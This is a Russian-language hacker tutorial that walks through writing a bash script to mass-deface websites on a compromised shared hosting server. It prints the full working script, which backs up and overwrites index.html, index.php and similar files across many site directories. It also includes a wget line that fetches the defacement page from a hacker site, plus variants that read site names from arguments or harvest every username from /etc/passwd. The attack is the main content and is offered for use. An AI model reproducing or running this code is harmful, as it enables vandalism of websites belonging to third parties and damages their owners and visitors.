Сперва мы хотели просто выложить скрипт для массового изменения первых страниц
сайтов на взломанном хостинге, но тут возникла необходимость в коментариях к
скрипту, которые оказались больше, чем сам скрипт =)
Да, к тому же, нюансы каждого отдельного случая требуют дополнительного перекроя
программы. Поэтому мы решили просто показать, как можно самому написать подобный
скрипт.
Итак, перед нами задача: задефейсить сразу и много сайтов на одном хостинге
(как получить для этого соответствующие права - не тема нашей статьи).
Входные данные:
- мы имеем возможность писать в папки всех юзеров;
- мы знаем какие сайты мы будем дефейсить, а какие нет (мы же не вандалы, чтоб
дефейсить сайты безобидных домашних страничек);
- пусть имена каталогов сайтов будут site1, site2, site3...;
- из конфига апача мы узнали, что файлы сайтов хранятся в директориях типа:
/home/site1/htdocs.
Ну, к делу!
На чем будем писать?
Что за вопрос? Какой родной язык для юникс-лайк систем? BASH!
Вот на нем и будем писать - уж достоверно будем знать, что наш скрипт в системе
запустится =)
В начале скрипта принято указывать так называемый "ша-банг" - путь
к командному интерпретатору. Рисуем наш Ша-Банг (хотя, можно и без него) и дальше
по тексту (все читаем в коментариях к скрипту, которые в bash отделяются символом
"#"):
#!/bin/bash
########################################
# Теперь нам нужно в коментариях добавить #
# наш копирайт, или гритс/факс - #
# короче, что-то нарисовать надо, #
# а то как узнать, что это наш скрипт? =) #
####################################
# Зададим директорию, в которой хранятся файлы.
# В нашем примере это "htdocs/".
# Если таковой нет, укажем просто слеш "/"
IND_DIR=/htdocs/
#зададим расширение для бекапа индекса (помните: мы же не вандалы!):
P_BKP=".bkp"
#указываем путь к главной директории, где все наши сайты и размещаются:
DP_HOME=/home/
# Укажем и путь к файлику с нашим дефейсом,
# который мы уже успели закачать,
# скажем так: wget -O /tmp/def.html http://gipshack.ru/index.htm
DEF=/tmp/def.html
#дальше, все будет происходить в цикле:
#имена сайтов будут браться в качестве переменной SITE из значений,
#которые мы укажем вместо наших site1 site2 и site3
for SITE in "site1"
"site2" "site3"
do
CD_DEF=`echo "${DP_HOME}${SITE}${IND_DIR}"` #формируем
имя директории
cd ${CD_DEF}
#сайта и переходим в нее
#Так, теперь задаем возможные имена файлов индекса
for FILE in
index.html index.php index.htm index.shtml index.shtm
do
FILE_BKP=`echo "${FILE}${P_BKP}"`
if [ -e "$FILE" ] #проверяем, есть ли такой
файл
then
cp "${FILE}" "${FILE_BKP}"
#Если да, то делаем бекап
echo
"Defacing $FILE in $CD_DEF"
cat "${DEF}" > "${FILE}"
#И заменяем индекс на наш дефейс
continue
fi
done
done
exit 0
Сохраняем скрипт на сервере с именем, скажем, massdef.sh, даем ему права на
выполнение:
chmod 0755
и запускаем:
./massdef.sh
Или просто запускаем через командный интерпретатор (в этом случае нам не нужен
Ша-Банг):
bash massdef.sh
Ну вот, и все. Скриптик отчитается нам какие файлы и в каких директориях он
заменил.
Что можно еще придумать?
Несколько полезностей на любителя.
1. Можно сделать вариант с вводом имен папок сайтов в командной строке как аргументов
скрипта.
Для этого мы меняем цикл, который получает значения переменной SITE.
Собственно, перебор входных аргументов можно организовать при помощи команды
shift:
until [ -z
"$1" ] # Выполняем цикл, пока есть аргумент
do
SITE=$1 # Присвоим значение первого аргумента переменной SITE
# А здесь выполним то, что у нас было от "CD_DEF="
# и до первого "done"
shift
# Сдвигаем аргументы на 1
done
Тогда наш скрипт будем запускать где-то так:
./massdef.sh site1 site2 site3
2. Если имена директорий для переменной SITE совпадают с именами пользователей
системы (такое бывает часто), и мы хотим все их задефейсить (пример с порнушным
хостингом), то можно брать имена пользователей из файла /etc/passwd.
Нам поможет прикольная команда cut. Она предназначена для извлечения отдельных
элементов (полей) из текстовых файлов.
Команда имеет два основных ключа:
-d для указания разделителя полей (в нашем случае будем использовать двоеточие
':')
-f для указания номера поля.
Таким образом, для выборки имени пользователя /сайта (в нашем примере) из файла
паролей, можно воспользоваться такой конструкцией:
FILENAME=/etc/passwd
for SITE in
$(cut -d: -f1 $FILENAME)
do
# А здесь вставим стандартные наши процедуры определения
# полного пути к директории и дальнейшей дефейс-акции
done
# и завершаем цикл.
На этом пока все.
Надеемся, что эта статья станет для кого-то началом в изучении интересного языка
программирования bash =)
|